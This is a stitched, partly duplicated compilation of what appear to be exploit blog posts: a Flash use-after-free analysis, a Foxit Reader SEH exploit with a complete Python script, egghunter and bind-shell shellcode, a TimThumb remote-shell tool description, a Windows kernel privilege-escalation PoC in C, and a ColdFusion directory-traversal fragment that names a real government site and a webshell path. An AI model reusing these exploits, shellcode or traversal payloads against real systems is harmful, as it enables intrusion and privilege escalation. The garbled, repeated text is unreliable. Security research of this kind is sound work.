|
|
I tried the
htmlentities() function with PHP 5 with this code:Anwer
use charset for your given content to .... eg
|
|
Qusetion
I have the following div table: Answer
|
After a few days of fuzzing, I noticed that I covered a large part of the format (at least the part I found interesting) so I then began reverse engineering the format more thoroughly. I started by mapping out the tag-types and reviewing functions that parse them.
After I spent a few hours just poking around and getting a stable list of function names and addresses, I noticed something strange; it seems there is an undocumented tag (0×03).
I began examining the tag and noticed it has the following structure:
struct UnknownTag_0x03Note: The reversing process has taken place under a Windows XP SP2 machine with Adobe Flash 10.0.42.34 installed while it was rebased to the address 0×02531000.
I quickly launched my flash fuzzer and added the new tag structure to the tag list so I would be able to trace the function execution and understand it faster. I generated a valid SWF file, placed a breakpoint on the function that parses the unknown tag “ParseUnknownTag0x03” at 025F4A30, and launched the debugger.
.text:025F4A30 ParseUnknownTag0x03While debugging this function, I noticed that EAX is being assigned the “unknown0” variable that I mapped. EAX then gets limited to 0x7F and is used as an index to an unknown array. This array is all zeros besides one element that contains a pointer to an unknown struct / class. The element is 0x7F and is as high as we can go. Even if we enter 0xFFFF as our “unknown0” value, we will still get up-to 0x7F and no more.
A quick translation of the code fragment would be:
if (object == NULL)
{
return(0);
}
I stopped debugging and modified my flash fuzzer to generate the exact same file but with the value “unknown0” set to 0x7F. This time the object was not a NULL so the function execution continued until I reached the following code fragment (as a part of a loop):
.text:025F4A60 mov cx, word ptr [esp+10h+unknown0]I took a quick look at “[esi+0D0h]” and saw it contained the value 0xFFFE.
If the values do not match, the loop continues then quickly breaks and the function returns. I then modified “unknown0” to 0xFFFE and restarted the debugging process. And then I noticed that if these values do match, a call to “HeapFree” is made. I then continued execution, took a look at Internet Explorer and… boom, access violation.
Looking at these values, I quickly concluded that it is a use-after-free. The structure being accessed was replaced by an irrelevant string.
I found several ways to control the data within the structure but no code-execution. The down-side to this vulnerability is that, as you can see, the crash occurs during a read operation.
I spent awhile trying to find an arbitrary write or a virtual function table call and found an arbitrary write but was unable to automate it for situations other than in the lab. (The trigger required specific events to occur).
And this is why I left the vulnerability untouched until it got patched.
Conclusion:
Both methods of research (reverse engineering and fuzzing) are extremely useful.
Most people just choose one of the two and miss the vulnerabilities that are easy to find using the alternative method. When conducting research you should probably keep an open-mind and try both reversing and fuzzing. And even if you choose to conduct just fuzzing you should still debug every “tag” and make sure you are covering as much as you can.
Tal Zeltzer (zelik) is a security researcher from Israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.
Some time ago, when Adobe Reader 0days were dropping left, right, and centre, Foxit Reader was frequently mentioned as a safer alternative to using Adobe. While it may be true that there are not as many exploits available for Foxit, that does not mean that it is invincible.
With this in mind, I decided to do some fuzzing using the Microsoft SDL MiniFuzz program. I fed the fuzzer a larger number of seed files, many of them Blackhat whitepapers, and let it run. Within a mere couple of hours, I was greeted with a few crashes, one of them resulting in a SEH overwrite.
Next up, I needed to determine what was causing the crash so I opened up the pdf in my trusty text editor.
At this point, I knew a couple of things. First, since the SEH was overwritten with 00E700E7, I knew I was dealing with a Unicode exploit and secondly, it was caused due to a failure in Foxit to properly sanitize the Title tag input. My next task at this point was to determine where exactly the overwrite was occurring in the string so I generated a random pattern of 10000 bytes using Metasploit and pasted it into the pdf file.
# ./pattern_create.rb 10000Opening up the pdf in Foxit, I saw that the SEH was overwritten with my unique pattern.
Passing the character string ‘r9As’ to the pattern_offset.rb script, I was able to determine the location of the SEH overwrite.
# ./pattern_offset.rb r9As 10000At this point, I stripped out as much unnecessary data out of the pdf as I could and whipped up a quick and dirty python script to make the editing process much easier, including the nSEH and SEH overwrite.
#!/usr/bin/pythonlead = "\x41" * 538
nseh = "\x42\x42"
seh = "\x43\x43"
trailer = "\x44" * 9384
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"
sploit = preamble + lead + nseh + seh + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close
Generating the evil pdf and opening it up in Foxit gave me a wonderful crash with complete control over the SEH chain.
With control over SEH out of the way, the next thing to do was to find a Unicode-friendly pop-pop-retn sequence of instructions. The main Foxit binary was not SafeSEH protected so that was where I decided to look first. A good candidate was found at 0x004D002F so I plugged that into my script. I also needed to find some Unicode characters to place in nSEH that when executed, would walk over the SEH address without causing any damage and edited my script accordingly.
...Loading up the new pdf in Foxit, I set a breakpoint on the SEH and passed the exception twice in order to reach my p/p/r address.
I then single-stepped through the p/p/r instructions into nSEH and then “walked” right across the SEH overwrite.
Up until this point, everything was indicating that this was going to be a nice, “vanilla” Unicode exploit. All I would need to do is add some Unicode-compatible shellcode farther down in the stack, add some bytes to EAX and be on my way. Then, I discovered the bad character set:
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x7f\x9f\xadSince the character \x05 is bad, that meant I would not be able to do an ADD EAX as planned. I also wasn’t too happy with the amount of space available for shellcode since Unicode shellcode takes up a lot of room. I decided to do a quick search of memory to see if my buffer was unmolested elsewhere.
Pleasantly enough, I had well over 9000 bytes of space available for shellcode and even though it was still Alpha, that left tons of room available. This situation, of course, just begs for an egghunter. Armed with all of this information, I came up with my strategy:
Generate alphanumeric bindshell shellcodePlace the egg and shellcode deeper into my bufferGenerate Unicode egghunter shellcodeAlign EAX to point to the beginning of the egghunter shellcodeThe first and second steps were the easiest. I simply used Metasploit to generate some alpha_upper shellcode using EAX as the base register which I add into the exploit along with “w00tw00t” as my egg.
# /msf3/msfpayload windows/shell_bind_tcp R | /msf3/msfencode BufferRegister=EAX -e x86/alpha_upper -t cNext up on my list of tasks is to generate Unicode-compatible egghunter shellcode but there was one issue I had to contend with. When the egghunter successfully locates the egg, it jumps to the EDI register that is pointing to the shellcode. Since the final shellcode is Alpha, I also needed EAX to point to it in order to decode it properly so I needed to edit the egghunter to include a MOV EAX, EDI instruction prior to the jump to EDI. My new egghunter looks like this:
1Now I needed to take this new egghunter and encode in Unicode format. Once the shellcode had been assembled, I just needed to use skylined’s ALPHA3 encoder, using the egghunter as the input.
I added this newly-encoded shellcode to my exploit in progress and did some massaging of lengths so the code at this point looked like the following:
#!/usr/bin/pythonpreamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25...
...x30\x37\x27\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"
# 202 byte unicode egghunter - EAX base register
egghunter = ("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI"
"AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO"
"0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9W4K7WKO9WKPA")
# Bindshell - Does not need to be Unicode friendly as it is untouched in memory - 745 bytes
bindshell = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x4b\x58\x4b\x39\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x4a\x45\x46\x51\x4e\x32\x45\x34\x4c\x4b\x51\x42\x46\x50\x4c"
"\x4b\x46\x32\x44\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x42\x52"
"\x47\x58\x44\x4f\x4e\x57\x50\x4a\x46\x46\x46\x51\x4b\x4f\x50"
"\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x4b\x52\x4a"
"\x50\x50\x52\x50\x57\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x50\x42"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x43\x44\x50\x4a\x43\x31\x4e\x30\x46\x30\x4c\x4b\x47\x38"
"\x45\x48\x4c\x4b\x51\x48\x47\x50\x45\x51\x4e\x33\x4d\x33\x47"
"\x4c\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x43"
"\x31\x49\x57\x50\x38\x4b\x50\x44\x35\x4c\x34\x44\x43\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x42\x55\x4a\x42\x51\x48\x4c"
"\x4b\x46\x38\x47\x54\x45\x51\x48\x53\x45\x36\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x51\x48\x45\x4c\x43\x31\x49\x43\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x4e\x30\x4c\x49\x47\x34\x51\x34\x47\x54"
"\x51\x4b\x51\x4b\x43\x51\x50\x59\x51\x4a\x46\x31\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x4a\x4b\x4d\x56"
"\x51\x4d\x43\x58\x47\x43\x47\x42\x43\x30\x43\x30\x42\x48\x44"
"\x37\x44\x33\x50\x32\x51\x4f\x51\x44\x45\x38\x50\x4c\x43\x47"
"\x47\x56\x44\x47\x4b\x4f\x48\x55\x48\x38\x4c\x50\x43\x31\x45"
"\x50\x43\x30\x51\x39\x48\x44\x50\x54\x50\x50\x42\x48\x46\x49"
"\x4d\x50\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x46"
"\x30\x46\x30\x51\x50\x50\x50\x47\x30\x50\x50\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4b\x50\x4b\x4f\x49\x45\x4c\x49\x49\x57\x46"
"\x51\x49\x4b\x46\x33\x43\x58\x45\x52\x43\x30\x44\x51\x51\x4c"
"\x4c\x49\x4a\x46\x42\x4a\x44\x50\x50\x56\x46\x37\x45\x38\x4f"
"\x32\x49\x4b\x47\x47\x45\x37\x4b\x4f\x4e\x35\x51\x43\x46\x37"
"\x45\x38\x4f\x47\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50"
"\x53\x51\x43\x51\x47\x45\x38\x44\x34\x4a\x4c\x47\x4b\x4b\x51"
"\x4b\x4f\x48\x55\x51\x47\x4b\x39\x48\x47\x42\x48\x43\x45\x42"
"\x4e\x50\x4d\x43\x51\x4b\x4f\x49\x45\x42\x48\x43\x53\x42\x4d"
"\x42\x44\x45\x50\x4c\x49\x4d\x33\x50\x57\x50\x57\x46\x37\x50"
"\x31\x4a\x56\x42\x4a\x42\x32\x51\x49\x46\x36\x4a\x42\x4b\x4d"
"\x42\x46\x49\x57\x47\x34\x51\x34\x47\x4c\x45\x51\x43\x31\x4c"
"\x4d\x50\x44\x51\x34\x42\x30\x4f\x36\x43\x30\x47\x34\x50\x54"
"\x46\x30\x46\x36\x51\x46\x51\x46\x50\x46\x46\x36\x50\x4e\x51"
"\x46\x50\x56\x50\x53\x50\x56\x43\x58\x44\x39\x48\x4c\x47\x4f"
"\x4d\x56\x4b\x4f\x4e\x35\x4b\x39\x4b\x50\x50\x4e\x50\x56\x51"
"\x56\x4b\x4f\x46\x50\x45\x38\x45\x58\x4c\x47\x45\x4d\x45\x30"
"\x4b\x4f\x4e\x35\x4f\x4b\x4a\x50\x4e\x55\x4e\x42\x46\x36\x42"
"\x48\x49\x36\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47\x4c"
"\x43\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4b\x50\x43\x45\x43"
"\x35\x4f\x4b\x47\x37\x44\x53\x42\x52\x42\x4f\x42\x4a\x45\x50"
"\x51\x43\x4b\x4f\x4e\x35\x44\x4a\x41\x41")
lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D" # p/p/r from app binary
filler = "\x41" * 130
egg = "w00tw00t"
trailer = "\x44" * 8507
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"
sploit = preamble + lead + nseh + seh + filler + egghunter + filler + egg + bindshell + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close
Just to be sure I hadn’t broken anything beyond repair to this point, I loaded up the pdf in Foxit and checked the debugger to make sure the Unicode egghunter was in place along with the Alpha-encoded bindshell.
The final piece of this puzzle was to adjust the EAX register so it pointed to the beginning of the Unicode-encoded egghunter shellcode while being mindful of the fact that there are a great deal of bad characters to contend with. With my sloppy binary math, this would take many instructions but one of our Offsec alumni, devilboy, came up with this short little sequence in his Foxit exploit to point EAX closer to where I needed to be.
1Using this alignment sequence, I needed to add 104 bytes of ‘filler’ between the alignment code and the egghunter so that EAX was pointing at the first instruction in order to start decoding it.
With everything aligned properly, the only remaining step was to make sure that the egghunter properly located my bindshell shellcode so I let the egghunter shellcode decode and placed a breakpoint just before jumping to the EDI register. I let the egghunter run and (hopefully) hit the breakpoint. Once the breakpoint was hit, EAX was pointing at the Alpha shellcode along with EDI so the egg was found successfully.
With everything seemingly working correctly, it was time to run the exploit without the debugger and reap my reward.
The finalized exploit has the following structure:
preamble | lead | nseh | seh | aligneax | filler | egghunter | filler | egg | bindshell | trailerMy completed Foxit Reader Egghunter Exploit is just one of several methods to gain code execution with this vulnerability and it was very interesting to see what the Offsec alumni came up with in their solutions. Congrats to Sud0 for being the first contestant to deliver a weaponized Foxit exploit in less than 5 hours!
Much thanks to muts for insisting I keep plugging away at this and thanks to devilboy for letting me borrow his EAX alignment sequence.
-dookie
Questions? Comments? Discuss this post in our Forum
So what’s all the fuss about? Recently, an 0day was discovered in a project called “TimThumb” which essentially, caches even remote files locally, without doing any proper sanitization. The file “timthumb.php” does however, check if to see if the target file is actually an image or not. This timthumb file is also quite often renamed to something else and is used in many themes.
The easiest way to trick TimThumb into believing a remotely stored image (that also contains evil PHP code) is an actual image, is to either craft it yourself or by using an external tool. In this case, I decided to write a small tool for the job which also has a few encoding features, payload types, and of course, options for custom images.
Using the tool is pretty straight forward and intuitive. But what are its complete features?
Feature List:
List known vulnerable themesChoose between 2 images or select your ownEnter your own code or use the Reverse PHP ShellEncode your PHP Payload, this applies only if “code” is chosenBase64 and Hexadecimal encoding is currently supportedHexadecimal output of the created file. (Can be used in paste’s, etc.)MD5 calculation of filename, that the target server will most likely useIf the src field on the target server doesn’t require Base64-encoded strings as some do, the issue is most likely because the evil domain you created isn’t readable by the web server or because it isn’t in the list of allowed domains contained within the timthumb.php file. From version to version, this appears to have changed but in version 1.32, blogger.com was a valid domain.
Q: What should the created subdomain look like?
A: blogger.com.yourdomain.tld
Simply enough, you need to test in your web browser that you can access your subdomain and of course, upload the image file which you created with TimThumbCraft. If your image is displayed when you perform the call to the timthumb.php file on the target server, you may have to press CTRL+F5 in your browser as it may be the case that the image is locally cached.
Another very important thing is that it’s very easy to change the cache directory so in some cases, the cache directory on the target may not be named “cache”. Last but not least, from version to version, strings may be prepended to the file that you forced the target server to cache locally. When I tested 1.33 in which the original researcher reported a vulnerability, it seemed like it created files without any extension. Therefore, I used 1.32 as I could confirm it was exploitable.
If you know PHP, you’re aware that you can do anything that the all-too-common malicious PHP shells can do. If you want to load a remote shell and allow_url_include is enabled within php.ini, use: include(“full url here”); and simply hit enter. As you can see in the screenshot below, I loaded a remotely stored r57 shell to demonstrate this PHP feature. Many RFI and LFI vulnerabilities are related to dynamic use of the include(); function in PHP.
Yes. The original researcher rewrote the entire script, line by line, to optimize it and make it more secure. I did a quick review of the code and fuzzed a few fields I found interesting to see if there were any obvious mistakes. None were found, so the newest version is “pretty secure”. Remember though that nothing is 100% secure.
If you want to find timthumb files on your server the right way, issue this command in a terminal: (Thanks rAWjAW for the CLI Kung Fu)
find . | grep php | xargs grep -s timthumbBe sure that you’re in the www / document root of your web server as you may not know where any timthumb files are located and what they’re named. Hence the reason it’s a very bad idea to just search for “timthumb.php” as a lot of researchers recommended.
References:
Proof of Concept: http://www.exploit-db.com/exploits/17602/
TimThumbCraft: Download it here
Demo Video (LQ): http://www.youtube.com/watch?v=udyEOzHK08E
Demo Video (HQ): https://rapidshare.com/files/2016620847/timthumb.avi
Original Info: http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
Vulnerable Themes: http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html
The incredible amount of information continuously leaked onto the Internet, and therefore accessible by Google, is of great use to penetration testers around the world. Johnny Long of Hackers for Charity started the Google Hacking Database (GHDB) to serve as a repository for search terms, called Google-Dorks, that expose sensitive information, vulnerabilities, passwords, and much more.
As Johnny is now pursing his mission in Uganda, he has graciously allowed us at The Exploit Database to pick up where the GHDB left off and resurrect it. It is with great excitement that we announce that the GHDB is now being hosted by us and actively maintained again. This will allow us to tie the GHDB directly into our database of exploits providing the most current information possible.
We will be accepting new submissions through our new forums and email. For more information about sending in GHDB submissions by email, check here. We will be updating the GHDB on a daily basis based on submissions by the community. We have opened forums for both EDB and GHDB conversation. Feel free to sign up and read the rules and guidelines here.
It is our hope that by bringing back the GHDB, we can work together to rekindle the original spirit of exploration of the GHDB community.
There’s nothing like having your butt kicked Christmas morning, which is exactly what happened to us today. We were owned and exposed, in true fashion. Initially, the inj3ct0r team took “creds” for the hack, which quickly proved false as the original ezine showed up – and now inj3ct0r (their new site) is no longer online. As a wise Chinese man once said: “do not anger one who has shell on your server”. The zine also mentioned other sites, as well as the ettercap project being backdoored.
We are currently cleaning out our systems and analyzing the attacks – thankfully, the compromise was limited to non root access, and other than our egos, the damage is not severe. To the “owned and exposed” guys, we have a couple of things to say:
1) Thanks for not rm’ing us.
2) The irony of posting your zine in our “papers” section is not lost on us.
Merry Christmas to you all, and a happy new year!
I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
.text:BF81BA91 push esi ; EnvironmentStack trace shows the calling process is as follows:
GDI32.EnableEUDC ->Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate “cmd.exe” process privilege regardless of UAC.
// Allocate buffer for the driverBYTE* pMem; // shellcode
DWORD ExpSize = 0;
BYTE RegBuf[0x40] = {0}; // reg binary buffer
pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pMem, Data, sizeof(Data)); // Copy shellcode
*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return value to our buffer
ExpSize = 0x28;
The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
// Get the running kernel file namepModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
//Relocation to the running kernel base
DWORD Delta = (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
free(pModInfo);
// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.
if(vi.dwBuildNumber < 7600)
{
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
{
*(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
break;
}
}
free(pHandleInfo);
}
else
{
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}
// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);
// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
UINT codepage = GetACP();RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
__try
{
EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);
After running this PoC, just type “whoami” in command prompt to see the escalated user credentials.
All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.
Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.
Me: nooby __at__ safengine.com
Initial release: 2010.11.24
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
noobpwnftw
Elevation of privileges under Windows Vista/7 (UAC Bypass) 0day
Video Demonstration
I have recently been doing some fuzzing on the Adobe Flash Player. I started by implementing a simple format fuzzer for Flash based on a homegrown framework that I have been developing for awhile. I implemented and executed tests and progressively covered more and more of the format. After a few days, I noticed one of the SWF files causing strange crashes, the “Just in time” debugger gets triggered but the process is terminated.
Note: The debugging process has taken place under a Windows XP SP2 machine with Adobe Flash 10.1.85.3 installed. During the debugging process we debugged Internet Explorer while it was rebased to the address 03281000.
I started debugging it for awhile and saw that there was an off-by-one vulnerability in one of the functions responsible for parsing the “DefineFont2” tag’s data. The vulnerability is not as straight-forward as it may seem, however. The main function that parses “DefineFont2” is parsing the entire tag correctly, as the data propagate and the font we defined is rendered for use, the vulnerability occurs. The tag “DefineFont2” allows us to specify a font-name with the size of up-to 0xFF bytes. The “DefineFont2” tag’s format is as follows:
After the initial processing of the “DefintFont2” tag, the function at 032ACB45 “CopyFontName” allocates a new buffer to store the font-name parameter it received. The buffer is allocated by calling the function “AllocateBuffer” at the address 032CA7FE.
Note: The function “AllocateBuffer” is wrapped by another function. The call is indirect but for the sake of simplicity, we modified the listing to show a direct call.
.text:032ACB45 CopyFontName“AllocateBuffer” allocates a new buffer at the size of the given string. (This buffer will be used to overflow the stack with an off-by-one vulnerability later-on)
.text:032CA609 AllocateBufferThis part of the function calculates the length of the given string; it is equivalent to the following code:
length = strlen(string); // The length is EAXAfter the length of the string is calculated, the function allocates a buffer at the proper size and copies the contents of the string onto the buffer. When “AllocateBuffer” returns, “CopyFontName” calls “NullTerminate” with the constant parameter of 0×80 to limit the buffer size to no more than 0×80.
Later on, the buffer that we allocated gets copied to a stack buffer during the execution of the function “Overwrite” (03426283). This function has a stack buffer with the size 0×80 to copy the string into. The problem is that the string size is 0×80 + a null terminator (which is actually 0×81). The function copies the string using the following compiler-generated code:
This code fragment first copies a character and only then checks if that character is a null (as most string copy functions do). The result is a classic off-by-one vulnerability that results in the overwrite of a single byte of the stack cookie with null. This condition is not exploitable under the windows platform and it causes the browser to crash while failing the stack-cookie test.
(Btw, this vulnerability is currently a zero-day as far as i know)
Tal Zeltzer (zelik) is a security researcher from Israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.
Since we took up the torch of the Google Hacking Database from Johnny Long, we have introduced some changes that we feel provides a great deal of added value to our database of dorks. To make it easier for our visitors to identify changes in the database, there is a ‘New’ graphic that will appear next to a category name where new entries have been added.
In addition, and most useful, is the introduction of a ‘Free text search’ capability that will allow our users to search within the text of each entry. You can also further narrow down your search to a specific category of dorks.
We felt that the addition of the GHDB to the Exploit Database was a great fit since we have a very large collection of web application exploits and proofs of concept, many of which include Google dorks in the text already. The challenge was to import all of our pre-existing entries into the GHDB which was not a task for the faint-hearted as it is a very time-consuming process. Fortunately, root-boy, a proud OSCP, volunteered to take on this daunting task for us and completed it far faster than we could have hoped for. A big thank you goes out to root-boy from the entire Exploit-DB team.
It is our hope that you enjoy our recent changes and additions to GHDB and we are welcoming further submissions beyond exploits. You can submit dorks either through our forums or to send them in via email, check out our submit page.
ext:cfmhttp://site/random/directories/shit/lol/document.cfmhttp://site/CFIDE/administrator![[Image: Oz9pwnk.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFfV2-ckibMBG2p2Lqc3_D8bQALk7-L6P4GhgGX5-tnNS6Zd1UTjLQBuEv3vy-RKtciORwMtbQOOmXmtiit78lPA=s0-d)
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.propertiesenhttp://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.propertiesenhttp://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.propertiesencd desktopa.pyhttp://dtsc.ca.gov/CFIDE/administrator/http://dtsc.ca.govjavascript:alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value))http://yourhackedsite.com/CFIDE/yourshellname.cfmVexy:pass123Since we took up the torch of the Google Hacking Database from Johnny Long, we have introduced some changes that we feel provides a great deal of added value to our database of dorks. To make it easier for our visitors to identify changes in the database, there is a ‘New’ graphic that will appear next to a category name where new entries have been added.
In addition, and most useful, is the introduction of a ‘Free text search’ capability that will allow our users to search within the text of each entry. You can also further narrow down your search to a specific category of dorks.
We felt that the addition of the GHDB to the Exploit Database was a great fit since we have a very large collection of web application exploits and proofs of concept, many of which include Google dorks in the text already. The challenge was to import all of our pre-existing entries into the GHDB which was not a task for the faint-hearted as it is a very time-consuming process. Fortunately, root-boy, a proud OSCP, volunteered to take on this daunting task for us and completed it far faster than we could have hoped for. A big thank you goes out to root-boy from the entire Exploit-DB team.
It is our hope that you enjoy our recent changes and additions to GHDB and we are welcoming further submissions beyond exploits. You can submit dorks either through our forums or to send them in via email, check out our submit page.
So what’s all the fuss about? Recently, an 0day was discovered in a project called “TimThumb” which essentially, caches even remote files locally, without doing any proper sanitization. The file “timthumb.php” does however, check if to see if the target file is actually an image or not. This timthumb file is also quite often renamed to something else and is used in many themes.
The easiest way to trick TimThumb into believing a remotely stored image (that also contains evil PHP code) is an actual image, is to either craft it yourself or by using an external tool. In this case, I decided to write a small tool for the job which also has a few encoding features, payload types, and of course, options for custom images.
Using the tool is pretty straight forward and intuitive. But what are its complete features?
Feature List:
